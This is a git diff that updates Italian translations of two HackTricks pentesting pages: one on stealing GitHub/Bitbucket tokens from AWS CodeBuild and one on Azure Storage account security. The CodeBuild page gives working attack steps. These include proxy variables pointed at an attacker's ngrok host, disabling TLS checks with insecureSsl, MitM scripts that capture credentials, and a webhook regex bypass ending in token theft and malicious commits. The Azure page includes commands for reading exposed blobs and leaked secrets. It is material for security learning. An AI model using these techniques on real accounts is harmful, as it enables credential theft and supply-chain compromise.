Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor

This commit is contained in:
Translator
2026-01-18 22:37:49 +00:00
parent bbfb1563a9
commit 0a684360f6
2 changed files with 121 additions and 121 deletions
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Recuperare i Token Configurati di Github/Bitbucket
## Recuperare token configurati di Github/Bitbucket
Per prima cosa, verifica se sono presenti source credentials configurate che potresti leak:
Per prima cosa, controlla se ci sono credenziali sorgente configurate che potresti leak:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Se trovi che l'autenticazione, per esempio a Github, è configurata nell'account, puoi **exfiltrate** quel **access** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.
Se riscontri che l'autenticazione, per esempio a Github, è impostata nell'account, puoi **exfiltrate** quell'**access** (**GH token or OAuth token**) facendo in modo che Codebuild **use an specific docker image** per eseguire il build del progetto.
Per questo scopo puoi **create a new Codebuild project** o modificare l'**environment** di uno esistente per impostare la **Docker image**.
A questo scopo puoi **creare un nuovo Codebuild project** o cambiare l'**environment** di uno esistente per impostare la **Docker image**.
La Docker image che puoi usare è [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basica che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Questa è una Docker image molto basilare che imposterà le **env variables `https_proxy`**, **`http_proxy`** e **`SSL_CERT_FILE`**. Questo ti permetterà di intercettare la maggior parte del traffico dell'host indicato in **`https_proxy`** e **`http_proxy`** e di fidarti del certificato SSL indicato in **`SSL_CERT_FILE`**.
1. **Crea & Carica la tua Docker MitM image**
- Segui le istruzioni del repo per impostare il tuo indirizzo IP del proxy e il tuo certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste all'endpoint metadata.
- Puoi usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy sul tuo host
- Una volta che hai la Docker image costruita, **upload it to a public repo** (Dockerhub, ECR...)
2. **Imposta l'environment**
- Crea un **new Codebuild project** o **modifica** l'**environment** di uno esistente.
- Imposta il progetto per usare la **previously generated Docker image**
1. **Create & Upload your own Docker MitM image**
- Segui le istruzioni del repo per impostare il tuo proxy IP e il certificato SSL e **build the docker image**.
- **DO NOT SET `http_proxy`** per non intercettare le richieste verso l'endpoint dei metadata.
- Puoi usare **`ngrok`** come `ngrok tcp 4444` per impostare il proxy verso il tuo host
- Una volta che hai buildato la Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Crea un **nuovo Codebuild project** o **modifica** l'ambiente di uno esistente.
- Imposta il progetto per usare la **Docker image precedentemente generata**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Imposta il MitM proxy sul tuo host**
3. **Set the MitM proxy in your host**
- Come indicato nel **Github repo** puoi usare qualcosa come:
- Come indicato nel **Github repo** potresti usare qualcosa del tipo:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> La **versione di mitmproxy utilizzata è stata 9.0.1**, è stato segnalato che con la versione 10 questo potrebbe non funzionare.
> È stata usata la **mitmproxy version used was 9.0.1**; è stato segnalato che con la versione 10 questo potrebbe non funzionare.
4. **Esegui la build & cattura le credenziali**
- Puoi vedere il token nell'intestazione **Authorization**:
- Puoi vedere il token nell'header **Authorization**:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Questo può essere fatto anche dall'aws cli con qualcosa del tipo
Questo può essere fatto anche dall'aws cli con qualcosa come
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Tramite insecureSSL
I progetti **Codebuild** hanno un'impostazione chiamata **`insecureSsl`** che è nascosta nella console web e può essere modificata solo tramite l'API.\
Abilitandola, permette a Codebuild di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\\
Abilitandola, si permette a Codebuild di connettersi al repository **senza verificare il certificato** offerto dalla piattaforma.
- Per prima cosa è necessario enumerare la configurazione attuale con qualcosa del tipo:
- Prima devi enumerare la configurazione corrente con qualcosa del tipo:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** a **`True`**. Di seguito un esempio del mio aggiornamento di un progetto; nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** puntando al tuo tcp ngrok come:
- Poi, con le informazioni raccolte puoi aggiornare l'impostazione del progetto **`insecureSsl`** su **`True`**. Di seguito un esempio del mio aggiornamento di un progetto nota **`insecureSsl=True`** alla fine (questa è l'unica cosa che devi cambiare rispetto alla configurazione raccolta).
- Inoltre, aggiungi anche le variabili d'ambiente **http_proxy** e **https_proxy** che puntano al tuo tcp ngrok come:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -128,23 +128,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Infine, clicca su **Build the project**, le **credentials** saranno **inviate in clear text** (base64) alla porta mitm:
- Finalmente, clicca su **Build the project**, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Tramite protocollo HTTP~~
### ~~Via protocollo HTTP~~
> [!TIP] > **Questa vulnerabilità è stata corretta da AWS in qualche momento della settimana del 20 Feb 2023 (penso venerdì). Quindi un attaccante non può più abusarne :)**
> [!TIP] > **Questa vulnerability è stata corretta da AWS in qualche momento della settimana del 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
Un attaccante con **permessi elevati su un CodeBuild potrebbe causare il leak del token Github/Bitbucket** configurato oppure, se i permessi sono stati configurati via OAuth, del **token OAuth temporaneo usato per accedere al codice**.
Un attacker con **permessi elevati su un CodeBuild potrebbe leak il token di Github/Bitbucket** configurato oppure, se i permessi erano configurati via OAuth, il **token OAuth temporaneo usato per accedere al codice**.
- Un attaccante potrebbe aggiungere le variabili d'ambiente **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (per esempio `http://5.tcp.eu.ngrok.io:14972`).
- Un attacker potrebbe aggiungere le variabili d'ambiente **http_proxy** e **https_proxy** al progetto CodeBuild puntando alla sua macchina (per esempio `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Poi, cambia l'URL del repo github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, cambia l'URL del repo di github per usare HTTP invece di HTTPS, per esempio: `http://github.com/carlospolop-forks/TestActions`
- Poi, esegui l'esempio base da [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sulla porta indicata dalle variabili proxy (http_proxy e https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Successivamente, fai clic su **Build the project** oppure avvia la build dalla riga di comando:
- Successivamente, fai clic su **Compila il progetto** oppure avvia la build dalla riga di comando:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
- Infine, le **credenziali** saranno **inviate in chiaro** (base64) alla porta mitm:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Ora un attaccante potrà usare il token dalla sua macchina, elencarne tutti i privilegi e (ab)usarli più facilmente rispetto all'uso diretto del servizio CodeBuild.
> Ora un attaccante potrà usare il token dalla sua macchina, elencare tutti i privilegi che possiede e (ab)usarli più facilmente rispetto all'uso diretto del servizio CodeBuild.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
I webhook GitHub di CodeBuild mal configurati che usano regex `ACTOR_ID` non ancorate permettono a PR *non attendibili* di avviare build privilegiati. Se l'allowlist è del tipo `123456|7890123` senza `^`/`$`, qualsiasi ID che contenga una di quelle sottostringhe corrisponde. Poiché gli ID utente di GitHub sono sequenziali, un attaccante può gareggiare per registrare un ID “eclipsing” (una superstringa di un ID fidato) e innescare la build.
Webhooks GitHub di CodeBuild mal configurati che usano regex `ACTOR_ID` non ancorate permettono a PR *non attendibili* di avviare build privilegiate. Se l'allowlist è del tipo `123456|7890123` senza `^`/`$`, qualsiasi ID che contenga una di queste sottostringhe corrisponde. Poiché gli ID utente di GitHub sono sequenziali, un attaccante può gareggiare per registrare un ID “eclipsing” (una superstringa di un ID attendibile) e innescare la build.
**Exploit path**
## Percorso di exploit
1. Trova progetti CodeBuild pubblici che espongono webhook filters ed estrai una allowlist `ACTOR_ID` non ancorata.
2. Ottieni un GitHub ID eclipsing:
- Campiona il contatore globale degli ID creando/eliminando org GitHub (gli org IDs condividono lo stesso pool).
- Pre-stagia molte creazioni di manifest per GitHub App e attiva gli URL di conferma quando il contatore è entro ~100 ID dal target per registrare a raffica un bot ID contenente la sottostringa fidata.
3. Apri una PR dall'account eclipsing; la regex corrisponde alla sottostringa e la build privilegiata viene eseguita.
4. Usa build RCE (es. hook di installazione delle dipendenze) per dumpare la memoria di processo che gestisce la GitHub credential e recuperare il PAT/OAuth token.
5. Con lo scope `repo` del token, invita il tuo account come collaborator/admin e push/approva commit malevoli o esfiltra segreti.
1. Individuare progetti CodeBuild pubblici che espongono filtri webhook ed estrarre un'allowlist `ACTOR_ID` non ancorata.
2. Ottenere un ID GitHub eclipsing:
- Campionare il contatore globale degli ID creando/eliminando org GitHub (gli org ID condividono il pool).
- Pre-creare molteplici manifest di GitHub App e attivare gli URL di conferma quando il contatore è entro ~100 ID dal target per registrare rapidamente un bot con un ID che contiene la sottostringa attendibile.
3. Aprire una PR dall'account eclipsing; la regex corrisponde alla sottostringa e la build privilegiata viene avviata.
4. Usare build RCE (es. hook di installazione delle dipendenze) per dumpare la memoria del processo che gestisce le credenziali GitHub e recuperare il PAT/OAuth token.
5. Con il token dotato dello scope `repo`, invitare il proprio account come collaborator/admin e pushare/approvare commit malevoli o esfiltrare segreti.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
@@ -4,62 +4,62 @@
## Informazioni di base
Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono storage cloud scalabile, sicuro e altamente disponibile per vari tipi di dati, inclusi blobs (binary large objects), file, queue e table. Funzionano come contenitori che raggruppano questi diversi servizi di storage sotto un unico namespace per una gestione più semplice.
Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono cloud **storage scalabile, sicuro e altamente disponibile per vari tipi di dati**, inclusi blobs (binary large objects), files, queues e tables. Servono come contenitori che raggruppono questi diversi servizi di storage sotto un unico namespace per una gestione semplice.
**Principali opzioni di configurazione**:
- Ogni storage account deve avere un **nome univoco su tutto Azure**.
- Ogni storage account è distribuito in una **regione** o in una zona estesa di Azure
- È possibile selezionare la versione **premium** dello storage account per prestazioni superiori
- È possibile selezionare tra **4 tipi di ridondanza per proteggere** da guasti a livello di rack, drive e datacenter.
- Ogni storage account deve avere un **nome univoco in tutto Azure**.
- Ogni storage account è distribuito in una **regione** o in una Azure extended zone
- È possibile selezionare la versione **premium** dello storage account per migliori prestazioni
- È possibile selezionare tra **4 tipi di ridondanza per proteggere** contro guasti di rack, drive e datacenter.
**Opzioni di configurazione della sicurezza**:
- **Require secure transfer for REST API operations**: Richiede TLS in ogni comunicazione con lo storage
- **Require secure transfer for REST API operations**: Richiede TLS in qualsiasi comunicazione con lo storage
- **Allows enabling anonymous access on individual containers**: Se disabilitato, non sarà possibile abilitare l'accesso anonimo in futuro
- **Enable storage account key access**: Se disabilitato, l'accesso con Shared Keys sarà vietato
- **Enable storage account key access**: Se disabilitato, l'accesso con Shared Keys sarà proibito
- **Minimum TLS version**
- **Permitted scope for copy operations**: Consente da qualsiasi storage account, da qualsiasi storage account nello stesso Entra tenant o da storage account con private endpoints nella stessa virtual network.
- **Permitted scope for copy operations**: Consenti da qualsiasi storage account, da qualsiasi storage account dello stesso Entra tenant o da storage account con private endpoints nella stessa virtual network.
**Opzioni per Blob Storage**:
**Opzioni di Blob Storage**:
- **Allow cross-tenant replication**
- **Access tier**: Hot (dati ad accesso frequente), Cool e Cold (dati raramente accessati)
- **Access tier**: Hot (dati ad accesso frequente), Cool e Cold (dati raramente accessi)
**Opzioni di networking**:
**Opzioni di rete**:
- **Network access**:
- Allow from all networks
- Allow from selected virtual networks and IP addresses
- Disable public access and use private access
- **Private endpoints**: Consente una connessione privata allo storage account da una virtual network
- Consenti da tutte le reti
- Consenti da virtual networks selezionate e indirizzi IP
- Disabilita l'accesso pubblico e usa accesso privato
- **Private endpoints**: Permettono una connessione privata allo storage account da una virtual network
**Opzioni di protezione dei dati**:
- **Point-in-time restore for containers**: Permette di ripristinare i container a uno stato precedente
- Richiede che versioning, change feed e blob soft delete siano abilitati.
- **Enable soft delete for blobs**: Abilita un periodo di retention (in giorni) per i blob eliminati (anche sovrascritti)
- **Enable soft delete for containers**: Abilita un periodo di retention (in giorni) per i container eliminati
- **Enable soft delete for file shares**: Abilita un periodo di retention (in giorni) per i file share eliminati
- **Enable versioning for blobs**: Mantiene versioni precedenti dei tuoi blob
- **Enable blob change feed**: Mantiene log di creazione, modifica ed eliminazione dei blob
- Richiede che siano abilitati versioning, change feed e blob soft delete.
- **Enable soft delete for blobs**: Attiva un periodo di retention in giorni per i blob cancellati (anche sovrascritti)
- **Enable soft delete for containers**: Attiva un periodo di retention in giorni per i container cancellati
- **Enable soft delete for file shares**: Attiva un periodo di retention in giorni per i file share cancellati
- **Enable versioning for blobs**: Mantiene versioni precedenti dei blob
- **Enable blob change feed**: Tiene traccia delle operazioni di create, modification e delete sui blob
- **Enable version-level immutability support**: Permette di impostare una policy di retention basata sul tempo a livello di account che si applicherà a tutte le versioni dei blob.
- Version-level immutability support e point-in-time restore for containers non possono essere abilitati contemporaneamente.
- Version-level immutability support e point-in-time restore for containers non possono essere abilitati simultaneamente.
**Opzioni di crittografia**:
- **Encryption type**: È possibile usare Microsoft-managed keys (MMK) o Customer-managed keys (CMK)
- **Enable infrastructure encryption**: Consente una doppia crittografia dei dati "per maggiore sicurezza"
- **Enable infrastructure encryption**: Permette di doppiare la cifratura dei dati "for more security"
### Storage endpoints
<table data-header-hidden><thead><tr><th width="197">Servizio di storage</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Esposizione pubblica
Se "Allow Blob public access" è **enabled** (disabilitato per default), quando si crea un container è possibile:
Se "Allow Blob public access" è **abilitato** (disabilitato di default), quando si crea un container è possibile:
- Dare **accesso pubblico in sola lettura ai blob** (è necessario conoscere il nome).
- Dare **accesso pubblico per la lettura dei blobs** (è necessario conoscere il nome).
- **Listare i blob del container** e **leggerli**.
- Renderlo completamente **privato**
@@ -67,9 +67,9 @@ Se "Allow Blob public access" è **enabled** (disabilitato per default), quando
### Static website (`$web`) exposure & leaked secrets
- **Static websites** sono serviti dal contenitore speciale `$web` tramite un endpoint region-specific come `https://<account>.z13.web.core.windows.net/`.
- Il contenitore `$web` può riportare `publicAccess: null` via l'API blob, ma i file sono comunque raggiungibili tramite l'endpoint del sito statico, quindi lasciare artifact di config/IaC lì può leaked secrets.
- Flusso di audit rapido:
- Le **static websites** sono servite dal contenitore speciale `$web` tramite un endpoint specifico per regione come `https://<account>.z13.web.core.windows.net/`.
- Il container `$web` può riportare `publicAccess: null` tramite la blob API, ma i file sono comunque raggiungibili tramite lo static site endpoint, quindi lasciare artefatti di config/IaC lì può leak secrets.
- Workflow di audit rapido:
```bash
# Identify storage accounts with static website hosting enabled
az storage blob service-properties show --account-name <acc-name> --auth-mode login
@@ -82,7 +82,7 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou
```
### Verifica dell'esposizione anonima dei blob
- **Individua storage accounts** che possono esporre dati: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Se `allowBlobPublicAccess` è `false` non puoi rendere pubblici i containers.
- **Individua gli storage account** che possono esporre dati: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Se `allowBlobPublicAccess` è `false` non puoi rendere i container pubblici.
- **Ispeziona gli account a rischio** per confermare il flag e altre impostazioni deboli: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Enumera l'esposizione a livello di container** dove il flag è abilitato:
```bash
@@ -90,41 +90,41 @@ az storage container list --account-name <acc> \
--query '[].{name:name, access:properties.publicAccess}'
```
- `"Blob"`: letture anonime consentite **solo quando il nome del blob è noto** (nessuna enumerazione).
- `"Container"`: elenco anonimo **+ lettura** di ogni blob.
- `"Container"`: **elenco + lettura** anonimi di ogni blob.
- `null`: privato; autenticazione richiesta.
- **Dimostrare l'accesso** senza credenziali:
- Se `publicAccess` è `Container`, l'elenco anonimo funziona: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- Per `Blob` e `Container`, il download anonimo del blob funziona quando il nome è noto:
- Se `publicAccess` è `Container`, la lista anonima funziona: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- Per entrambi `Blob` e `Container`, il download anonimo del blob funziona quando il nome è noto:
```bash
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
# or via raw HTTP
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
```
### Connettersi allo storage
### Connettersi allo Storage
Se trovi uno **storage** a cui puoi connetterti, puoi usare lo strumento [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) per farlo.
Se trovi qualsiasi **storage** a cui puoi connetterti, puoi usare lo strumento [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) per farlo.
## Accesso allo storage <a href="#about-blob-storage" id="about-blob-storage"></a>
## Accesso allo Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
### RBAC
È possibile utilizzare i principal Entra ID con **RBAC roles** per accedere agli storage account ed è il metodo raccomandato.
È possibile usare i principal di Entra ID con **ruoli RBAC** per accedere agli storage account ed è il metodo raccomandato.
### Access Keys
Gli storage account dispongono di access keys che possono essere utilizzate per accedervi. Questo fornisce **accesso completo all'account di storage.**
Gli storage account hanno delle access keys che possono essere usate per accedervi. Questo fornisce l'**accesso completo allo storage account.**
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
### **Shared Keys & Lite Shared Keys**
È possibile [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmati con le access keys per autorizzare l'accesso a determinate risorse tramite una URL firmata.
È possibile [**generare Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmate con le access keys per autorizzare l'accesso a determinate risorse tramite un URL firmato.
> [!NOTE]
> Nota che la parte `CanonicalizedResource` rappresenta la risorsa del servizio di storage (URI). E se qualsiasi parte dell'URL è codificata, dovrebbe essere codificata anche all'interno di `CanonicalizedResource`.
> Nota che la parte `CanonicalizedResource` rappresenta la risorsa del servizio di storage (URI). E se qualsiasi parte nell'URL è codificata, dovrebbe essere codificata anche all'interno del `CanonicalizedResource`.
> [!NOTE]
> Questo comportamento è **usato di default da `az` cli** per autenticare le richieste. Per far sì che utilizzi le credenziali del principal Entra ID, indica il parametro `--auth-mode login`.
> Questo è **usato per default dalla `az` cli** per autenticare le richieste. Per farla usare le credenziali del principal Entra ID indica il parametro `--auth-mode login`.
- È possibile generare una **shared key per i servizi blob, queue e file** firmando le seguenti informazioni:
```bash
@@ -165,7 +165,7 @@ CanonicalizedResource;
StringToSign = Date + "\n"
CanonicalizedResource
```
Poi, per usare la chiave, può essere inserita nell'Authorization header seguendo la sintassi:
Quindi, per usare la chiave, può essere inserita nell'header Authorization seguendo la sintassi:
```bash
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
#e.g.
@@ -179,70 +179,70 @@ Content-Length: 0
```
### **Shared Access Signature** (SAS)
Le Shared Access Signatures (SAS) sono URL sicuri e a tempo limitato che **concedono permessi specifici per accedere a risorse** in un account Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono accesso amministrativo completo a tutte le risorse, le SAS permettono un controllo granulare specificando permessi (come read o write) e definendo un tempo di scadenza.
Le Shared Access Signatures (SAS) sono URL sicuri e temporanei che **concedono permessi specifici per accedere a risorse** in un account Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono l'accesso amministrativo completo a tutte le risorse, le SAS permettono un controllo granulare specificando i permessi (come read o write) e definendo un tempo di scadenza.
#### SAS Types
#### Tipi di SAS
- **User delegation SAS**: Questo viene creato da un **Entra ID principal** che firmerà la SAS e delegherà i permessi dall'utente alla SAS. Può essere usato solo con **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutte le SAS delegate utente generate.
- Anche se è possibile generare una delegation SAS con permessi "maggiori" rispetto a quelli che l'utente possiede, se il principal non li ha, non funzionerà (no privesc).
- **Service SAS**: Questa è firmata usando una delle storage account **access keys**. Può essere usata per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la key viene rinnovata, la SAS smetterà di funzionare.
- **Account SAS**: È anch'essa firmata con una delle storage account **access keys**. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio.
- **User delegation SAS**: Questo viene creato da un **Entra ID principal** che firmerà la SAS e delegherà i permessi dall'utente alla SAS. Può essere usato solo con **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutte le user delegated SAS generate.
- È possibile generare una delegation SAS con permessi "maggiori" rispetto a quelli dell'utente. Tuttavia, se il principal non li possiede, non funzionerà (no privesc).
- **Service SAS**: Questo è firmato usando una delle **access keys** dell'account storage. Può essere usato per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la chiave viene rinnovata, la SAS smetterà di funzionare.
- **Account SAS**: È anch'essa firmata con una delle **access keys** dell'account storage. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio.
A SAS URL signed by an **access key** looks like this:
Una URL SAS firmata da una **access key** assomiglia a questa:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
A SAS URL signed as a **user delegation** looks like this:
Una URL SAS firmata come **user delegation** assomiglia a questa:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Note some **http params**:
Nota alcuni **parametri http**:
- Il parametro **`se`** indica la **data di scadenza** della SAS
- Il parametro **`sp`** indica i **permessi** della SAS
- Il parametro **`sig`** è la **firma** che valida la SAS
- Il **`sig`** è la **signature** che valida la SAS
#### SAS permissions
#### Permessi SAS
Quando si genera una SAS è necessario indicare i permessi che deve concedere. A seconda dell'oggetto su cui la SAS viene generata possono essere inclusi permessi diversi. Per esempio:
Quando si genera una SAS è necessario indicare i permessi che deve concedere. A seconda dell'oggetto su cui la SAS viene generata, possono essere inclusi permessi diversi. Per esempio:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP Support for Azure Blob Storage
## Supporto SFTP per Azure Blob Storage
Azure Blob Storage ora supporta lo SSH File Transfer Protocol (SFTP), permettendo trasferimenti di file sicuri e la gestione direttamente su Blob Storage senza richiedere soluzioni personalizzate o prodotti di terze parti.
Azure Blob Storage ora supporta lo SSH File Transfer Protocol (SFTP), permettendo il trasferimento sicuro di file e la gestione direttamente su Blob Storage senza richiedere soluzioni custom o prodotti di terze parti.
### Key Features
### Caratteristiche principali
- Protocol Support: SFTP funziona con account Blob Storage configurati con hierarchical namespace (HNS). Questo organizza i blob in directory e sottodirectory per una navigazione più semplice.
- Security: SFTP usa identità utente locali per l'autenticazione e non si integra con RBAC o ABAC. Ogni utente locale può autenticarsi tramite:
- Supporto del protocollo: SFTP funziona con account Blob Storage configurati con hierarchical namespace (HNS). Questo organizza i blob in directory e sottodirectory per una navigazione più semplice.
- Sicurezza: SFTP utilizza identità utente locali per l'autenticazione e non si integra con RBAC o ABAC. Ogni utente locale può autenticarsi tramite:
- Azure-generated passwords
- coppie di chiavi SSH pubblico/privata
- Granular Permissions: permessi come Read, Write, Delete e List possono essere assegnati agli utenti locali per un massimo di 100 container.
- Networking Considerations: le connessioni SFTP avvengono tramite la porta 22. Azure supporta configurazioni di rete come firewall, private endpoints o virtual networks per mettere in sicurezza il traffico SFTP.
- Coppie di chiavi SSH pubblica/privata
- Permessi granulari: Permessi come Read, Write, Delete e List possono essere assegnati agli utenti locali fino a 100 container.
- Considerazioni di rete: le connessioni SFTP avvengono tramite la porta 22. Azure supporta configurazioni di rete come firewall, private endpoints o virtual networks per proteggere il traffico SFTP.
### Setup Requirements
### Requisiti di configurazione
- Hierarchical Namespace: l'HNS deve essere abilitato durante la creazione dell'account di storage.
- Supported Encryption: richiede algoritmi crittografici approvati dal Microsoft Security Development Lifecycle (SDL) (es. rsa-sha2-256, ecdsa-sha2-nistp256).
- SFTP Configuration:
- Hierarchical Namespace: HNS deve essere abilitato al momento della creazione dell'account di storage.
- Crittografia supportata: Richiede algoritmi crittografici approvati dal Microsoft Security Development Lifecycle (SDL) (es. rsa-sha2-256, ecdsa-sha2-nistp256).
- Configurazione SFTP:
- Abilitare SFTP sull'account di storage.
- Creare identità utente locali con permessi appropriati.
- Configurare le home directory per gli utenti per definire la loro posizione di partenza all'interno del container.
- Configurare directory home per gli utenti per definire la loro posizione iniziale all'interno del container.
### Permissions
| Permesso | Simbolo | Descrizione |
| ---------------------- | ------ | ------------------------------------ |
| **Lettura** | `r` | Legge il contenuto del file. |
| **Scrittura** | `w` | Carica file e crea directory. |
| **Elenco** | `l` | Elenca il contenuto delle directory. |
| **Eliminazione** | `d` | Elimina file o directory. |
| **Creazione** | `c` | Crea file o directory. |
| **Modifica Proprietà** | `o` | Cambia l'utente o il gruppo proprietario. |
| **Modifica Permessi** | `p` | Modifica le ACL su file o directory. |
| Permesso | Symbol | Descrizione |
| ---------------------- | ------ | ------------------------------------- |
| **Read** | `r` | Legge il contenuto del file. |
| **Write** | `w` | Carica file e crea directory. |
| **List** | `l` | Elenca il contenuto delle directory. |
| **Delete** | `d` | Elimina file o directory. |
| **Create** | `c` | Crea file o directory. |
| **Modify Ownership** | `o` | Cambia l'utente o il gruppo proprietario. |
| **Modify Permissions** | `p` | Modifica le ACL su file o directory. |
## Enumeration
## Enumerazione
{{#tabs }}
{{#tab name="az cli" }}
@@ -441,19 +441,19 @@ New-AzStorageBlobSASToken `
az-file-shares.md
{{#endref}}
## Escalation dei privilegi
## Privilege Escalation
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
{{#endref}}
## Post-sfruttamento
## Post Exploitation
{{#ref}}
../az-post-exploitation/az-blob-storage-post-exploitation.md
{{#endref}}
## Persistenza
## Persistence
{{#ref}}
../az-persistence/az-storage-persistence.md